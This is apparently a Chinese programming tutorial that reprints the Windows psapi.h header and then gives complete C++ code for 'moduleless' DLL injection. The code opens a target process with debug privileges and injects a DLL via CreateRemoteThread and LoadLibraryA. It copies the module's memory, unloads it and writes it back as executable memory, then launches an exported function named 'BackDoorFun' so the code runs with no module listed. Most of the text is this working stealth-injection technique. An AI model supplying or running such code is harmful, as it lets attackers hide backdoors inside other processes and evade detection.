我们在信息安全编程的时候经常需要进行dll进程注入,
我们在编程中如何实现呢。
需要引用
Psapi.Lib,具体可以百度下载之。
其头文件如下,
odule Name:
psapi.h
Abstract:
Include file for APIs provided by PSAPI.DLL
Author:
Richard Shupak [richards] 06-Jan-1994
Revision History:
--*/
#ifndef _PSAPI_H_
#define _PSAPI_H_
#ifdef __cplusplus
extern "C" {
#endif
BOOL
WINAPI
EnumProcesses(
DWORD * lpidProcess,
DWORD cb,
DWORD * cbNeeded
);
BOOL
WINAPI
EnumProcessModules(
HANDLE hProcess,
HMODULE *lphModule,
DWORD cb,
LPDWORD lpcbNeeded
);
DWORD
WINAPI
GetModuleBaseNameA(
HANDLE hProcess,
HMODULE hModule,
LPSTR lpBaseName,
DWORD nSize
);
DWORD
WINAPI
GetModuleBaseNameW(
HANDLE hProcess,
HMODULE hModule,
LPWSTR lpBaseName,
DWORD nSize
);
#ifdef UNICODE
#define GetModuleBaseName GetModuleBaseNameW
#else
#define GetModuleBaseName GetModuleBaseNameA
#endif // !UNICODE
DWORD
WINAPI
GetModuleFileNameExA(
HANDLE hProcess,
HMODULE hModule,
LPSTR lpFilename,
DWORD nSize
);
DWORD
WINAPI
GetModuleFileNameExW(
HANDLE hProcess,
HMODULE hModule,
LPWSTR lpFilename,
DWORD nSize
);
#ifdef UNICODE
#define GetModuleFileNameEx GetModuleFileNameExW
#else
#define GetModuleFileNameEx GetModuleFileNameExA
#endif // !UNICODE
typedef struct _MODULEINFO {
LPVOID lpBaseOfDll;
DWORD SizeOfImage;
LPVOID EntryPoint;
} MODULEINFO, *LPMODULEINFO;
BOOL
WINAPI
GetModuleInformation(
HANDLE hProcess,
HMODULE hModule,
LPMODULEINFO lpmodinfo,
DWORD cb
);
BOOL
WINAPI
EmptyWorkingSet(
HANDLE hProcess
);
BOOL
WINAPI
QueryWorkingSet(
HANDLE hProcess,
PVOID pv,
DWORD cb
);
BOOL
WINAPI
InitializeProcessForWsWatch(
HANDLE hProcess
);
typedef struct _PSAPI_WS_WATCH_INFORMATION {
LPVOID FaultingPc;
LPVOID FaultingVa;
} PSAPI_WS_WATCH_INFORMATION, *PPSAPI_WS_WATCH_INFORMATION;
BOOL
WINAPI
GetWsChanges(
HANDLE hProcess,
PPSAPI_WS_WATCH_INFORMATION lpWatchInfo,
DWORD cb
);
DWORD
WINAPI
GetMappedFileNameW(
HANDLE hProcess,
LPVOID lpv,
LPWSTR lpFilename,
DWORD nSize
);
DWORD
WINAPI
GetMappedFileNameA(
HANDLE hProcess,
LPVOID lpv,
LPSTR lpFilename,
DWORD nSize
);
#ifdef UNICODE
#define GetMappedFilenameEx GetMappedFilenameExW
#else
#define GetMappedFilenameEx GetMappedFilenameExA
#endif // !UNICODE
BOOL
WINAPI
EnumDeviceDrivers(
LPVOID *lpImageBase,
DWORD cb,
LPDWORD lpcbNeeded
);
DWORD
WINAPI
GetDeviceDriverBaseNameA(
LPVOID ImageBase,
LPSTR lpBaseName,
DWORD nSize
);
DWORD
WINAPI
GetDeviceDriverBaseNameW(
LPVOID ImageBase,
LPWSTR lpBaseName,
DWORD nSize
);
#ifdef UNICODE
#define GetDeviceDriverBaseName GetDeviceDriverBaseNameW
#else
#define GetDeviceDriverBaseName GetDeviceDriverBaseNameA
#endif // !UNICODE
DWORD
WINAPI
GetDeviceDriverFileNameA(
LPVOID ImageBase,
LPSTR lpFilename,
DWORD nSize
);
DWORD
WINAPI
GetDeviceDriverFileNameW(
LPVOID ImageBase,
LPWSTR lpFilename,
DWORD nSize
);
#ifdef UNICODE
#define GetDeviceDriverFileName GetDeviceDriverFileNameW
#else
#define GetDeviceDriverFileName GetDeviceDriverFileNameA
#endif // !UNICODE
// Structure for GetProcessMemoryInfo()
typedef struct _PROCESS_MEMORY_COUNTERS {
DWORD cb;
DWORD PageFaultCount;
DWORD PeakWorkingSetSize;
DWORD WorkingSetSize;
DWORD QuotaPeakPagedPoolUsage;
DWORD QuotaPagedPoolUsage;
DWORD QuotaPeakNonPagedPoolUsage;
DWORD QuotaNonPagedPoolUsage;
DWORD PagefileUsage;
DWORD PeakPagefileUsage;
} PROCESS_MEMORY_COUNTERS;
typedef PROCESS_MEMORY_COUNTERS *PPROCESS_MEMORY_COUNTERS;
BOOL
WINAPI
GetProcessMemoryInfo(
HANDLE Process,
PPROCESS_MEMORY_COUNTERS ppsmemCounters,
DWORD cb
);
#ifdef __cplusplus
}
#endif
#endif
无模块dll进程注入请见下列代码与分析
#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#include "Psapi.h"
#include "Tlhelp32.h"
//获得加载的DLL模块的信息,主要包括模块基地址和模块大小
BOOL GetThreadInformation(DWORD ProcessID,char* Dllfullname,MODULEENTRY32 &Thread)
{
HANDLE hthSnapshot = NULL;
// 取得指定进程的所有模块映象.
hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID);
if (hthSnapshot == NULL)
return FALSE;
// 取得所有模块列表中的指定的模块.
BOOL bMoreMods = Module32First(hthSnapshot, &Thread);
if (bMoreMods == FALSE)
return FALSE;
// 循环取得想要的模块.
for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &Thread))
{
if (strcmp(Thread.szExePath, Dllfullname) == 0)
break;
}
if (strcmp(Thread.szExePath, Dllfullname) == 0)
return TRUE;
else
return FALSE;
}
//调整进程权限
BOOL AdjustPrivileges(HANDLE hProcess,LPCTSTR lpPrivilegeName)
{
//******************************************************
//调整进程权限
//******************************************************
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
//打开进程的权限标记
if (!::OpenProcessToken(hProcess,
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;
//传入lpPrivilegeName的Luid值
if(!::LookupPrivilegeValue(NULL,
lpPrivilegeName,
&tkp.Privileges[0].Luid))
return FALSE;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!::AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES) NULL, 0))
return FALSE;
return TRUE;
}
//注入DLL部分
BOOL InjectRemoteProcess(HANDLE hProcess,char* Dllfullname)
{
//开辟虚拟空间,以便写入DLL的完整路径
PSTR pDllName=NULL;
if((pDllName=(PSTR)::VirtualAllocEx(hProcess,
NULL,
strlen(Dllfullname)+1,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE))==NULL)
return FALSE;
BOOL writecode;
if((writecode=::WriteProcessMemory(hProcess,
pDllName,
Dllfullname,
strlen(Dllfullname)+1,
NULL))==0)
return FALSE;
//取得LoadLibrary函数在Kernel32.dll中的地址.
PTHREAD_START_ROUTINE pfnThreadRtn =
(PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (pfnThreadRtn== NULL)
return FALSE;
//打开远线程
HANDLE hRemoteThread=NULL;
if((hRemoteThread=::CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
pDllName, //loadlibrary参数,即dll的路径字符串在远程进程中的地址,若是多参数则放在一个结构体中
0,
NULL))==NULL)
return FALSE;
return TRUE;
}
//卸载DLL
BOOL UnistallDll(HANDLE hProcess,BYTE * Address)
{
// 取得FreeLibrary函数在Kernel32.dll中的地址.
HANDLE hThread = NULL;
PTHREAD_START_ROUTINE pfnThreadRtn =
(PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle("Kernel32.dll"), "FreeLibrary");
if (pfnThreadRtn == NULL)
return FALSE;
// 创建远程线程来执行FreeLibrary函数.
hThread = ::CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
Address,
0,
NULL);
if (hThread == NULL)
return FALSE;
// 等待远程线程终止.
::WaitForSingleObject(hThread, INFINITE);
// 关闭句柄.
::CloseHandle(hThread);
return TRUE;
}
#define pid 3844
#define BackDoorFun 0x1014//DLL模块中导出函数的地址
int main(int argc, char* argv[])
{
char Dllfullname[255];
char Dllname[255];
//打开进程
HANDLE hRemoteProcess=NULL;
if((hRemoteProcess=::OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
pid))==NULL)
{
printf("OpenProcess faile!!");
return 0;
}
BOOL Adjust=AdjustPrivileges(hRemoteProcess,SE_DEBUG_NAME);
if(Adjust==FALSE)
{
printf("Adjust process Privileges faile!!\n");
return 0;
}
//获得DLL的完整路径
strcpy(Dllname,"dll.dll");
::GetCurrentDirectory(255,Dllfullname);
strcat(Dllfullname,"\\");
strcat(Dllfullname,Dllname);
BOOL Res=InjectRemoteProcess(hRemoteProcess,Dllfullname);
if(Res==FALSE)
{
printf("Inject Faile!!\n");
return 0;
}
//等待远线程启动,否则获取不到插入的dll信息
::Sleep(300);
DWORD RemoteTheadAddress=0;
MODULEENTRY32 Thread = {sizeof(Thread)};;
RemoteTheadAddress=GetThreadInformation(pid,Dllfullname,Thread);
if(RemoteTheadAddress==0)
{
printf("Get RemoteTheadAddress Faile!!\n");
return 0;
}
//分配保存DLL加载后的的缓冲区,并保存
char *buffer=new char[Thread.modBaseSize+1];
DWORD read;
::ReadProcessMemory(hRemoteProcess,
Thread.modBaseAddr,//加载的DLL模块基地址
buffer,
Thread.modBaseSize,//加载的DLL代码的大小
&read);
//卸载DLL
BOOL Unstall=UnistallDll(hRemoteProcess,Thread.modBaseAddr);
if(Unstall==FALSE)
{
printf("Unistall dll Faile!!!\n");
return 0;
}
//重新分配虚拟内存,注意从原模块基地址出开始分配
LPVOID Alloc;
Alloc=::VirtualAllocEx(hRemoteProcess,Thread.modBaseAddr,Thread.modBaseSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(Alloc== NULL)
{
printf("VirtualAllocEx Failed!!\n");
return 0;
}
BOOL Writer;DWORD Written;
Writer=::WriteProcessMemory(hRemoteProcess,Thread.modBaseAddr,buffer,Thread.modBaseSize,&Written);
if(Writer==0)
{
printf("WriteProcessMemory Failed!!\n");
return 0;
}
//重新启动新的无DLL模块的线程中的函数
HANDLE hNewThread=NULL;
if((hNewThread=::CreateRemoteThread(hRemoteProcess,
NULL,
0,
(PTHREAD_START_ROUTINE)(Thread.modBaseAddr+BackDoorFun),//添加到进程中的数据的基地址Thread.modBaseAddr+dll导出函数的入口点地址
NULL, //此处填写导出函数的参数地址,为简单期间,本导出函数没有参数,若有参数可用注入DLL中同样方法写进进程空间中
0,
NULL))==NULL)
{
printf("CreateNewThread faile!!\n");
return 0;
}
return 0;
}